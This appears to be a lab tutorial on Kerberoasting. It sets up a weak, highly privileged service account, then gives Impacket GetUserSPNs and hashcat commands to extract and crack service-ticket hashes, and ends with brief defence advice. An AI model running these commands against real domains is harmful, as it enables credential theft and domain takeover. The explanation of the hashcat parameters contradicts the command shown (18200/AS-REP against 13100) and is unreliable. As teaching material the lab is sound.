Kerberoasting
Configuring
Login to
DC01with theAdministratoruser and the passwordWelcome01!.Open PowerShell as administrator and execute the following commands to create a user with the name
sa_adminand set a SPN for it:
net user sa_admin Welcome123456! /add
setspn -A MSSQLsvc/DC03:1433 sa_admin3. Execute the following command to make the user Enterprise Admin and Domain Admin:
Add-ADGroupMember -Identity "Enterprise Admins" -Members sa_admin
Add-ADGroupMember -Identity "Domain Admins" -Members sa_adminAttacking
How it works
Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service.
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials
Tools
Executing the attack
Use the discovered credentials
johnand passwordWelcome2022!with GetUserSPNs.py from Impacket to Kerberoast all roastable users.
python3 /opt/impacket/examples/GetUserSPNs.py 'amsterdam.bank.local/john:Welcome2022!' -dc-ip 10.0.0.2 -target-domain bank.local -outputfile kerberoast.txt
cat kerberoast.txt
2. We retrieved one hash. Lets crack it with Hashcat. The parameters are:
Crackingmode:
-a 0for using a wordlistHashmode:
-m 18200for Kerberos 5, etype 23, AS-REPList with hashes:
kerberoasting.txtPasswords list:
passwords.txtRule list:
-r rules.rule
.\hashcat.exe -a 0 -m 13100 .\kerberoast.txt .\wordlists\rockyou.txt -r .\rules\dive.rule
We successfully cracked the password of the user sa_admin, the password is Welcome123456!
Defending
Recommendations
Limit the privileges of Service Accounts.
Use strong passwords (at least 32 characters) on service accounts.
Detection
References
Last updated